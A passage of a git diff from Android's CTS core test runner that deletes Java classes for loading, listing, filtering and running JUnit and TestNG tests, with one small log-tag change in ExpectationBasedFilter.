- return this.getClass().getClassLoader();
- }
-
- private Class<?> doLoadClass(String className) {
- if (mLoadFailuresMap.containsKey(className)) {
- // Don't load classes that already failed to load
- return null;
- } else if (mLoadedClassesMap.containsKey(className)) {
- // Class with the same name was already loaded, return it
- return mLoadedClassesMap.get(className);
- }
-
- try {
- ClassLoader myClassLoader = getClassLoader();
- return Class.forName(className, false, myClassLoader);
- } catch (ClassNotFoundException e) {
- String errMsg = String.format("Could not find class: %s", className);
- Log.e(LOG_TAG, errMsg);
- Description description = Description.createSuiteDescription(className);
- Failure failure = new Failure(description, e);
- mLoadFailuresMap.put(className, failure);
- }
- return null;
- }
-
- /**
- * Loads the test class from the given class name.
- * <p/>
- * Similar to {@link #loadClass(String)}, but will ignore classes that are
- * not tests.
- *
- * @param className the class name to attempt to load
- * @return the loaded class or null.
- */
- public Class<?> loadIfTest(String className) {
- Class<?> loadedClass = doLoadClass(className);
- if (loadedClass != null && isTestClass(loadedClass)) {
- mLoadedClassesMap.put(className, loadedClass);
- return loadedClass;
- }
- return null;
- }
-
- /**
- * @return whether this {@link TestLoader} contains any loaded classes or load failures.
- */
- public boolean isEmpty() {
- return mLoadedClassesMap.isEmpty() && mLoadFailuresMap.isEmpty();
- }
-
- /**
- * Get the {@link Collection) of classes successfully loaded via
- * {@link #loadIfTest(String)} calls.
- */
- public Collection<Class<?>> getLoadedClasses() {
- return mLoadedClassesMap.values();
- }
-
- /**
- * Get the {@link List) of {@link Failure} that occurred during
- * {@link #loadIfTest(String)} calls.
- */
- public Collection<Failure> getLoadFailures() {
- return mLoadFailuresMap.values();
- }
-
- /**
- * Determines if given class is a valid test class.
- *
- * @param loadedClass
- * @return <code>true</code> if loadedClass is a test
- */
- private boolean isTestClass(Class<?> loadedClass) {
- try {
- if (Modifier.isAbstract(loadedClass.getModifiers())) {
- logDebug(String.format("Skipping abstract class %s: not a test",
- loadedClass.getName()));
- return false;
- }
- // Libcore-specific change: Also consider TestNG annotated classes.
- if (isTestNgTestClass(loadedClass)) {
- return true;
- }
- // TODO: try to find upstream junit calls to replace these checks
- if (junit.framework.Test.class.isAssignableFrom(loadedClass)) {
- // ensure that if a TestCase, it has at least one test method otherwise
- // TestSuite will throw error
- if (junit.framework.TestCase.class.isAssignableFrom(loadedClass)) {
- return hasJUnit3TestMethod(loadedClass);
- }
- return true;
- }
- // TODO: look for a 'suite' method?
- if (loadedClass.isAnnotationPresent(org.junit.runner.RunWith.class)) {
- return true;
- }
- for (Method testMethod : loadedClass.getMethods()) {
- if (testMethod.isAnnotationPresent(org.junit.Test.class)) {
- return true;
- }
- }
- logDebug(String.format("Skipping class %s: not a test", loadedClass.getName()));
- return false;
- } catch (Exception e) {
- // Defensively catch exceptions - Will throw runtime exception if it cannot load methods.
- // For earlier versions of Android (Pre-ICS), Dalvik might try to initialize a class
- // during getMethods(), fail to do so, hide the error and throw a NoSuchMethodException.
- // Since the java.lang.Class.getMethods does not declare such an exception, resort to a
- // generic catch all.
- // For ICS+, Dalvik will throw a NoClassDefFoundException.
- Log.w(LOG_TAG, String.format("%s in isTestClass for %s", e.toString(),
- loadedClass.getName()));
- return false;
- } catch (Error e) {
- // defensively catch Errors too
- Log.w(LOG_TAG, String.format("%s in isTestClass for %s", e.toString(),
- loadedClass.getName()));
- return false;
- }
- }
-
- private boolean hasJUnit3TestMethod(Class<?> loadedClass) {
- for (Method testMethod : loadedClass.getMethods()) {
- if (isPublicTestMethod(testMethod)) {
- return true;
- }
- }
- return false;
- }
-
- // copied from junit.framework.TestSuite
- private boolean isPublicTestMethod(Method m) {
- return isTestMethod(m) && Modifier.isPublic(m.getModifiers());
- }
-
- // copied from junit.framework.TestSuite
- private boolean isTestMethod(Method m) {
- return m.getParameterTypes().length == 0 && m.getName().startsWith("test")
- && m.getReturnType().equals(Void.TYPE);
- }
-
- // Libcore-specific change: Add method for checking TestNG-annotated classes.
- private static boolean isTestNgTestClass(Class<?> cls) {
- // TestNG test is either marked @Test at the class
- for (Annotation a : cls.getAnnotations()) {
- if (a.annotationType().getName().equals(TESTNG_TEST)) {
- return true;
- }
- }
-
- // Or It's marked @Test at the method level
- for (Method m : cls.getDeclaredMethods()) {
- for (Annotation a : m.getAnnotations()) {
- if (a.annotationType().getName().equals(TESTNG_TEST)) {
- return true;
- }
- }
- }
-
- return false;
- }
-
-
- /**
- * Utility method for logging debug messages. Only actually logs a message if LOG_TAG is marked
- * as loggable to limit log spam during normal use.
- */
- private void logDebug(String msg) {
- if (Log.isLoggable(LOG_TAG, Log.DEBUG)) {
- Log.d(LOG_TAG, msg);
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/AndroidJUnitRunnerConstants.java b/tests/core/runner/src/com/android/cts/core/runner/AndroidJUnitRunnerConstants.java
deleted file mode 100644
index 4b18cdc..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/AndroidJUnitRunnerConstants.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner;
-
-import android.support.test.runner.AndroidJUnitRunner;
-
-/**
- * Constants used to communicate to and from {@link AndroidJUnitRunner}.
- */
-public interface AndroidJUnitRunnerConstants {
-
- /**
- * The name of the file containing the names of the tests to run.
- *
- * <p>This is an internal constant used within
- * {@code android.support.test.internal.runner.RunnerArgs}, which is used on both the server
- * and
- * client side. The constant is used when there are too many test names to pass on the command
- * line, in which case they are stored in a file that is pushed to the device and then the
- * location of that file is passed in this argument. The {@code RunnerArgs} on the client will
- * read the contents of that file in order to retrieve the list of names and then return that
- * to
- * its client without the client being aware of how that was done.
- */
- String ARGUMENT_TEST_FILE = "testFile";
-
- /**
- * The name of the file containing the names of the tests not to run.
- *
- * <p>This is an internal constant used within
- * {@code android.support.test.internal.runner.RunnerArgs}, which is used on both the server
- * and
- * client side. The constant is used when there are too many test names to pass on the command
- * line, in which case they are stored in a file that is pushed to the device and then the
- * location of that file is passed in this argument. The {@code RunnerArgs} on the client will
- * read the contents of that file in order to retrieve the list of names and then return that
- * to
- * its client without the client being aware of how that was done.
- */
- String ARGUMENT_NOT_TEST_FILE = "notTestFile";
-
- /**
- * A comma separated list of the names of test classes to run.
- *
- * <p>The equivalent constant in {@code InstrumentationTestRunner} is hidden and so not
- * available
- * through the public API.
- */
- String ARGUMENT_TEST_CLASS = "class";
-
- /**
- * A comma separated list of the names of test classes not to run
- */
- String ARGUMENT_NOT_TEST_CLASS = "notClass";
-
- /**
- * A comma separated list of the names of test packages to run.
- *
- * <p>The equivalent constant in {@code InstrumentationTestRunner} is hidden and so not
- * available
- * through the public API.
- */
- String ARGUMENT_TEST_PACKAGE = "package";
-
- /**
- * A comma separated list of the names of test packages not to run.
- */
- String ARGUMENT_NOT_TEST_PACKAGE = "notPackage";
-
- /**
- * Log the results as if the tests were executed but don't actually run the tests.
- *
- * <p>The equivalent constant in {@code InstrumentationTestRunner} is private.
- */
- String ARGUMENT_LOG_ONLY = "log";
-
- /**
- * Wait for the debugger before starting.
- *
- * <p>There is no equivalent constant in {@code InstrumentationTestRunner} but the string is
- * used
- * within that class.
- */
- String ARGUMENT_DEBUG = "debug";
-
- /**
- * Only count the number of tests to run.
- *
- * <p>There is no equivalent constant in {@code InstrumentationTestRunner} but the string is
- * used
- * within that class.
- */
- String ARGUMENT_COUNT = "count";
-
- /**
- * The per test timeout value.
- */
- String ARGUMENT_TIMEOUT = "timeout_msec";
-
- /**
- * Token representing how long (in seconds) the current test took to execute.
- *
- * <p>The equivalent constant in {@code InstrumentationTestRunner} is private.
- */
- String REPORT_KEY_RUNTIME = "runtime";
-
- /**
- * An identifier for tests run using this class.
- */
- String REPORT_VALUE_ID = "CoreTestRunner";
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java b/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java
deleted file mode 100644
index 42b6684..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java
+++ /dev/null
@@ -1,355 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.os.Bundle;
-import android.os.Debug;
-import android.support.test.internal.runner.listener.InstrumentationResultPrinter;
-import android.support.test.internal.runner.listener.InstrumentationRunListener;
-import android.support.test.internal.util.AndroidRunnerParams;
-import android.util.Log;
-import com.android.cts.core.runner.support.ExtendedAndroidRunnerBuilder;
-import com.google.common.base.Splitter;
-import java.io.BufferedReader;
-import java.io.ByteArrayOutputStream;
-import java.io.FileReader;
-import java.io.IOException;
-import java.io.PrintStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import org.junit.runner.Computer;
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.Result;
-import org.junit.runner.Runner;
-import org.junit.runner.manipulation.Filter;
-import org.junit.runner.manipulation.Filterable;
-import org.junit.runner.manipulation.NoTestsRemainException;
-import org.junit.runner.notification.RunListener;
-import org.junit.runners.model.InitializationError;
-import org.junit.runners.model.RunnerBuilder;
-
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_COUNT;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_DEBUG;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_LOG_ONLY;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_NOT_TEST_CLASS;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_NOT_TEST_FILE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_NOT_TEST_PACKAGE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TEST_CLASS;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TEST_FILE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TEST_PACKAGE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TIMEOUT;
-
-/**
- * A drop-in replacement for AndroidJUnitTestRunner, which understands the same arguments, and has
- * similar functionality, but can filter by expectations and allows a custom runner-builder to be
- * provided.
- */
-public class CoreTestRunner extends Instrumentation {
-
- static final String TAG = "LibcoreTestRunner";
-
- private static final java.lang.String ARGUMENT_ROOT_CLASSES = "core-root-classes";
-
- private static final String ARGUMENT_CORE_LISTENER = "core-listener";
-
- private static final Splitter CLASS_LIST_SPLITTER = Splitter.on(',').trimResults();
-
- /** The args for the runner. */
- private Bundle args;
-
- /** Only log the number and names of tests, and not run them. */
- private boolean logOnly;
-
- /** The amount of time in millis to wait for a single test to complete. */
- private long testTimeout;
-
- /**
- * The list of tests to run.
- */
- private TestList testList;
-
- /**
- * The list of {@link RunListener} classes to create.
- */
- private List<Class<? extends RunListener>> listenerClasses;
- private Filter expectationFilter;
-
- @Override
- public void onCreate(final Bundle args) {
- super.onCreate(args);
- this.args = args;
-
- boolean debug = "true".equalsIgnoreCase(args.getString(ARGUMENT_DEBUG));
- if (debug) {
- Log.i(TAG, "Waiting for debugger to connect...");
- Debug.waitForDebugger();
- Log.i(TAG, "Debugger connected.");
- }
-
- // Log the message only after getting a value from the args so that the args are
- // unparceled.
- Log.d(TAG, "In OnCreate: " + args);
-
- // Treat logOnly and count as the same. This is not quite true as count should only send
- // the host the number of tests but logOnly should send the name and number. However,
- // this is how this has always behaved and it does not appear to have caused any problems.
- // Changing it seems unnecessary given that count is CTSv1 only and CTSv1 will be removed
- // soon now that CTSv2 is ready.
- boolean testCountOnly = args.getBoolean(ARGUMENT_COUNT);
- this.logOnly = "true".equalsIgnoreCase(args.getString(ARGUMENT_LOG_ONLY)) || testCountOnly;
- this.testTimeout = parseUnsignedLong(args.getString(ARGUMENT_TIMEOUT), ARGUMENT_TIMEOUT);
-
- expectationFilter = new ExpectationBasedFilter(args);
-
- // The test can be run specifying a list of tests to run, or as cts-tradefed does it,
- // by passing a fileName with a test to run on each line.
- Set<String> testNameSet = new HashSet<>();
- String arg;
- if ((arg = args.getString(ARGUMENT_TEST_FILE)) != null) {
- // The tests are specified in a file.
- try {
- testNameSet.addAll(readTestsFromFile(arg));
- } catch (IOException err) {
- finish(Activity.RESULT_CANCELED, new Bundle());
- return;
- }
- } else if ((arg = args.getString(ARGUMENT_TEST_CLASS)) != null) {
- // The tests are specified in a String passed in the bundle.
- String[] tests = arg.split(",");
- testNameSet.addAll(Arrays.asList(tests));
- }
-
- // Tests may be excluded from the run by passing a list of tests not to run,
- // or by passing a fileName with a test not to run on each line.
- Set<String> notTestNameSet = new HashSet<>();
- if ((arg = args.getString(ARGUMENT_NOT_TEST_FILE)) != null) {
- // The tests are specified in a file.
- try {
- notTestNameSet.addAll(readTestsFromFile(arg));
- } catch (IOException err) {
- finish(Activity.RESULT_CANCELED, new Bundle());
- return;
- }
- } else if ((arg = args.getString(ARGUMENT_NOT_TEST_CLASS)) != null) {
- // The classes are specified in a String passed in the bundle
- String[] tests = arg.split(",");
- notTestNameSet.addAll(Arrays.asList(tests));
- }
-
- Set<String> packageNameSet = new HashSet<>();
- if ((arg = args.getString(ARGUMENT_TEST_PACKAGE)) != null) {
- // The packages are specified in a String passed in the bundle
- String[] packages = arg.split(",");
- packageNameSet.addAll(Arrays.asList(packages));
- }
-
- Set<String> notPackageNameSet = new HashSet<>();
- if ((arg = args.getString(ARGUMENT_NOT_TEST_PACKAGE)) != null) {
- // The packages are specified in a String passed in the bundle
- String[] packages = arg.split(",");
- notPackageNameSet.addAll(Arrays.asList(packages));
- }
-
- List<String> roots = getRootClassNames(args);
- if (roots == null) {
- // Find all test classes
- Collection<Class<?>> classes = TestClassFinder.getClasses(
- Collections.singletonList(getContext().getPackageCodePath()),
- getClass().getClassLoader());
- testList = new TestList(classes);
- } else {
- testList = TestList.rootList(roots);
- }
-
- testList.addIncludeTestPackages(packageNameSet);
- testList.addExcludeTestPackages(notPackageNameSet);
- testList.addIncludeTests(testNameSet);
- testList.addExcludeTests(notTestNameSet);
-
- listenerClasses = new ArrayList<>();
- String listenerArg = args.getString(ARGUMENT_CORE_LISTENER);
- if (listenerArg != null) {
- List<String> listenerClassNames = CLASS_LIST_SPLITTER.splitToList(listenerArg);
- for (String listenerClassName : listenerClassNames) {
- try {
- Class<? extends RunListener> listenerClass = Class.forName(listenerClassName)
- .asSubclass(RunListener.class);
- listenerClasses.add(listenerClass);
- } catch (ClassNotFoundException e) {
- Log.e(TAG, "Could not load listener class: " + listenerClassName, e);
- }
- }
- }
-
- start();
- }
-
- private List<String> getRootClassNames(Bundle args) {
- String rootClasses = args.getString(ARGUMENT_ROOT_CLASSES);
- List<String> roots;
- if (rootClasses == null) {
- roots = null;
- } else {
- roots = CLASS_LIST_SPLITTER.splitToList(rootClasses);
- }
- return roots;
- }
-
- @Override
- public void onStart() {
- if (logOnly) {
- Log.d(TAG, "Counting/logging tests only");
- } else {
- Log.d(TAG, "Running tests");
- }
-
- AndroidRunnerParams runnerParams = new AndroidRunnerParams(this, args,
- false, testTimeout, false /*ignoreSuiteMethods*/);
-
- Runner runner;
- try {
- RunnerBuilder runnerBuilder = new ExtendedAndroidRunnerBuilder(runnerParams);
- Class[] classes = testList.getClassesToRun();
- for (Class cls : classes) {
- Log.d(TAG, "Found class to run: " + cls.getName());
- }
- runner = new Computer().getSuite(runnerBuilder, classes);
-
- if (runner instanceof Filterable) {
- Log.d(TAG, "Applying filters");
- Filterable filterable = (Filterable) runner;
-
- // Filter out all the tests that are expected to fail.
- try {
- filterable.filter(expectationFilter);
- } catch (NoTestsRemainException e) {
- // Sometimes filtering will remove all tests but we do not care about that.
- }
- Log.d(TAG, "Applied filters");
- }
-
- // If the tests are only supposed to be logged and not actually run then replace the
- // runner with a runner that will fire notifications for all the tests that would have
- // been run. This is needed because CTSv2 does a log only run through a CTS module in
- // order to generate a list of tests that will be run so that it can monitor them.
- // Encapsulating that in a Runner implementation makes it easier to leverage the
- // existing code for running tests.
- if (logOnly) {
- runner = new DescriptionHierarchyNotifier(runner.getDescription());
- }
-
- } catch (InitializationError e) {
- throw new RuntimeException("Could not create a suite", e);
- }
-
- InstrumentationResultPrinter instrumentationResultPrinter =
- new InstrumentationResultPrinter();
- instrumentationResultPrinter.setInstrumentation(this);
-
- JUnitCore core = new JUnitCore();
- core.addListener(instrumentationResultPrinter);
-
- // If not logging the list of tests then add any additional configured listeners. These
- // must be added before firing any events.
- if (!logOnly) {
- // Add additional configured listeners.
- for (Class<? extends RunListener> listenerClass : listenerClasses) {
- try {
- RunListener runListener = listenerClass.newInstance();
- if (runListener instanceof InstrumentationRunListener) {
- ((InstrumentationRunListener) runListener).setInstrumentation(this);
- }
- core.addListener(runListener);
- } catch (InstantiationException | IllegalAccessException e) {
- Log.e(TAG,
- "Could not create instance of listener: " + listenerClass, e);
- }
- }
- }
-
- Log.d(TAG, "Finished preparations, running/listing tests");
-
- Bundle results = new Bundle();
- Result junitResults = new Result();
- try {
- junitResults = core.run(Request.runner(runner));
- } catch (RuntimeException e) {
- final String msg = "Fatal exception when running tests";
- Log.e(TAG, msg, e);
- // report the exception to instrumentation out
- results.putString(Instrumentation.REPORT_KEY_STREAMRESULT,
- msg + "\n" + Log.getStackTraceString(e));
- } finally {
- ByteArrayOutputStream summaryStream = new ByteArrayOutputStream();
- // create the stream used to output summary data to the user
- PrintStream summaryWriter = new PrintStream(summaryStream);
- instrumentationResultPrinter.instrumentationRunFinished(summaryWriter,
- results, junitResults);
- summaryWriter.close();
- results.putString(Instrumentation.REPORT_KEY_STREAMRESULT,
- String.format("\n%s", summaryStream.toString()));
- }
-
-
- Log.d(TAG, "Finished");
- finish(Activity.RESULT_OK, results);
- }
-
- /**
- * Read tests from a specified file.
- *
- * @return class names of tests. If there was an error reading the file, null is returned.
- */
- private static List<String> readTestsFromFile(String fileName) throws IOException {
- try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
- List<String> tests = new ArrayList<>();
- String line;
- while ((line = br.readLine()) != null) {
- tests.add(line);
- }
- return tests;
- } catch (IOException err) {
- Log.e(TAG, "There was an error reading the test class list: " + err.getMessage());
- throw err;
- }
- }
-
- /**
- * Parse long from given value - except either Long or String.
- *
- * @return the value, -1 if not found
- * @throws NumberFormatException if value is negative or not a number
- */
- private static long parseUnsignedLong(Object value, String name) {
- if (value != null) {
- long longValue = Long.parseLong(value.toString());
- if (longValue < 0) {
- throw new NumberFormatException(name + " can not be negative");
- }
- return longValue;
- }
- return -1;
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java b/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java
deleted file mode 100644
index 5c94fd7..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner;
-
-import java.util.List;
-import org.junit.runner.Description;
-import org.junit.runner.Runner;
-import org.junit.runner.notification.RunNotifier;
-
-/**
- * A {@link Runner} that does not actually run any tests but simply fires events for all leaf
- * {@link Description} instances in the supplied {@link Description} hierarchy.
- */
-class DescriptionHierarchyNotifier extends Runner {
-
- private final Description description;
-
- DescriptionHierarchyNotifier(Description description) {
- this.description = description;
- }
-
- @Override
- public Description getDescription() {
- return description;
- }
-
- @Override
- public void run(RunNotifier notifier) {
- generateListOfTests(notifier, description);
- }
-
- /**
- * Generates a list of tests to run by recursing over the {@link Description} hierarchy and
- * firing events to simulate the tests being run successfully.
- * @param runNotifier the notifier to which the events are sent.
- * @param description the description to traverse.
- */
- private void generateListOfTests(RunNotifier runNotifier, Description description) {
- List<Description> children = description.getChildren();
- if (children.isEmpty()) {
- runNotifier.fireTestStarted(description);
- runNotifier.fireTestFinished(description);
- } else {
- for (Description child : children) {
- generateListOfTests(runNotifier, child);
- }
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
index 90034ec..f409dbd 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
@@ -105,7 +105,7 @@
if (expectationStore != null) {
Expectation expectation = expectationStore.get(testName);
if (expectation.getResult() != Result.SUCCESS) {
- Log.d(CoreTestRunner.TAG, "Excluding test " + testDescription
+ Log.d(TAG, "Excluding test " + testDescription
+ " as it matches expectation: " + expectation);
return false;
}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/TestClassFinder.java b/tests/core/runner/src/com/android/cts/core/runner/TestClassFinder.java
deleted file mode 100644
index 6ad95f6..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/TestClassFinder.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner;
-
-import android.support.test.internal.runner.ClassPathScanner;
-import android.support.test.internal.runner.ClassPathScanner.ClassNameFilter;
-import android.util.Log;
-
-import com.android.cts.core.internal.runner.TestLoader;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Enumeration;
-import java.util.List;
-import java.util.Set;
-
-import dalvik.system.DexFile;
-
-/**
- * Find tests in the current APK.
- */
-public class TestClassFinder {
-
- private static final String TAG = "TestClassFinder";
- private static final boolean DEBUG = false;
-
- // Excluded test packages
- private static final String[] DEFAULT_EXCLUDED_PACKAGES = {
- "junit",
- "org.junit",
- "org.hamcrest",
- "org.mockito",// exclude Mockito for performance and to prevent JVM related errors
- "android.support.test.internal.runner.junit3",// always skip AndroidTestSuite
- };
-
- static Collection<Class<?>> getClasses(List<String> apks, ClassLoader loader) {
- if (DEBUG) {
- Log.d(TAG, "getClasses: =======================================");
-
- for (String apkPath : apks) {
- Log.d(TAG, "getClasses: -------------------------------");
- Log.d(TAG, "getClasses: APK " + apkPath);
-
- DexFile dexFile = null;
- try {
- dexFile = new DexFile(apkPath);
- Enumeration<String> apkClassNames = dexFile.entries();
- while (apkClassNames.hasMoreElements()) {
- String apkClassName = apkClassNames.nextElement();
- Log.d(TAG, "getClasses: DexClass element " + apkClassName);
- }
- } catch (IOException e) {
- throw new AssertionError(e);
- } finally {
- if (dexFile != null) {
- try {
- dexFile.close();
- } catch (IOException e) {
- throw new AssertionError(e);
- }
- }
- }
- Log.d(TAG, "getClasses: -------------------------------");
- }
- } // if DEBUG
-
- List<Class<?>> classes = new ArrayList<>();
- ClassPathScanner scanner = new ClassPathScanner(apks);
-
- ClassPathScanner.ChainedClassNameFilter filter =
- new ClassPathScanner.ChainedClassNameFilter();
- // exclude inner classes
- filter.add(new ClassPathScanner.ExternalClassNameFilter());
-
- // exclude default classes
- for (String defaultExcludedPackage : DEFAULT_EXCLUDED_PACKAGES) {
- filter.add(new ExcludePackageNameFilter(defaultExcludedPackage));
- }
-
- // exclude any classes that aren't a "test class" (see #loadIfTest)
- TestLoader testLoader = new TestLoader();
- testLoader.setClassLoader(loader);
-
- try {
- Set<String> classNames = scanner.getClassPathEntries(filter);
- for (String className : classNames) {
- // Important: This further acts as an additional filter;
- // classes that aren't a "test class" are never loaded.
- Class<?> cls = testLoader.loadIfTest(className);
- if (cls != null) {
- classes.add(cls);
-
- if (DEBUG) {
- Log.d(TAG, "getClasses: Loaded " + className);
- }
- } else if (DEBUG) {
- Log.d(TAG, "getClasses: Failed to load class " + className);
- }
- }
- return classes;
- } catch (IOException e) {
- Log.e(CoreTestRunner.TAG, "Failed to scan classes", e);
- }
-
-
- if (DEBUG) {
- Log.d(TAG, "getClasses: =======================================");
- }
-
- return testLoader.getLoadedClasses();
- }
-
- /**
- * A {@link ClassNameFilter} that only rejects a given package names within the given namespace.
- */
- public static class ExcludePackageNameFilter implements ClassNameFilter {
-
- private final String mPkgName;
-
- ExcludePackageNameFilter(String pkgName) {
- if (!pkgName.endsWith(".")) {
- mPkgName = String.format("%s.", pkgName);
- } else {
- mPkgName = pkgName;
- }
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public boolean accept(String pathName) {
- return !pathName.startsWith(mPkgName);
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/TestList.java b/tests/core/runner/src/com/android/cts/core/runner/TestList.java
deleted file mode 100644
index 9d97501..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/TestList.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner;
-
-import android.util.Log;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashSet;
-import java.util.LinkedHashSet;
-import java.util.List;
-import java.util.Set;
-import javax.annotation.Nullable;
-
-/**
- * A list of the tests to run.
- */
-class TestList {
-
- /** The set of test pacakges to run */
- private final Set<String> mIncludedPackages = new HashSet<>();
-
- /** The set of test packages not to run */
- private final Set<String> mExcludedPackages = new HashSet<>();
-
- /** The set of tests (classes or methods) to run */
- private final Set<String> mIncludedTests = new HashSet<>();
-
- /** The set of tests (classes or methods) not to run */
- private final Set<String> mExcludedTests = new HashSet<>();
-
- /** The list of all test classes to run (without filtering applied)*/
- private final Collection<Class<?>> classesToRun;
-
- public static TestList rootList(List<String> rootList) {
-
- // Run from the root test class.
- Set<String> classNamesToRun = new LinkedHashSet<>(rootList);
- Log.d(CoreTestRunner.TAG, "Running all tests rooted at " + classNamesToRun);
-
- List<Class<?>> classesToRun1 = getClasses(classNamesToRun);
-
- return new TestList(classesToRun1);
- }
-
- private static List<Class<?>> getClasses(Set<String> classNames) {
- // Populate the list of classes to run.
- List<Class<?>> classesToRun = new ArrayList<>();
- for (String className : classNames) {
- try {
- classesToRun.add(Class.forName(className));
- } catch (ClassNotFoundException e) {
- throw new IllegalStateException("Could not load class '" + className, e);
- }
- }
- return classesToRun;
- }
-
- /**
- * @param classes The list of classes to run.
- */
- public TestList(Collection<Class<?>> classes) {
- this.classesToRun = classes;
- }
-
- public void addIncludeTestPackages(Set<String> packageNameSet) {
- mIncludedPackages.addAll(packageNameSet);
- }
-
- public void addExcludeTestPackages(Set<String> packageNameSet) {
- mExcludedPackages.addAll(packageNameSet);
- }
-
- public void addIncludeTests(Set<String> testNameSet) {
- mIncludedTests.addAll(testNameSet);
- }
-
- public void addExcludeTests(Set<String> testNameSet) {
- mExcludedTests.addAll(testNameSet);
- }
-
- /**
- * Return all the classes to run.
- */
- public Class[] getClassesToRun() {
- return classesToRun.toArray(new Class[classesToRun.size()]);
- }
-
- /**
- * Return true if the test with the specified name should be run, false otherwise.
- */
- public boolean shouldRunTest(String testName) {
-
- int index = testName.indexOf('#');
- String className;
- if (index == -1) {
- className = testName;
- } else {
- className = testName.substring(0, index);
- }
- try {
- Class<?> testClass = Class.forName(className);
- Package testPackage = testClass.getPackage();
- String testPackageName = "";
- if (testPackage != null) {
- testPackageName = testPackage.getName();
- }
-
- boolean include =
- (mIncludedPackages.isEmpty() || mIncludedPackages.contains(testPackageName)) &&
- (mIncludedTests.isEmpty() || mIncludedTests.contains(className) ||
- mIncludedTests.contains(testName));
-
- boolean exclude =
- mExcludedPackages.contains(testPackageName) ||
- mExcludedTests.contains(className) ||
- mExcludedTests.contains(testName);
-
- return include && !exclude;
- } catch (ClassNotFoundException e) {
- Log.w("Could not load class '" + className, e);
- return false;
- }
- }
-}
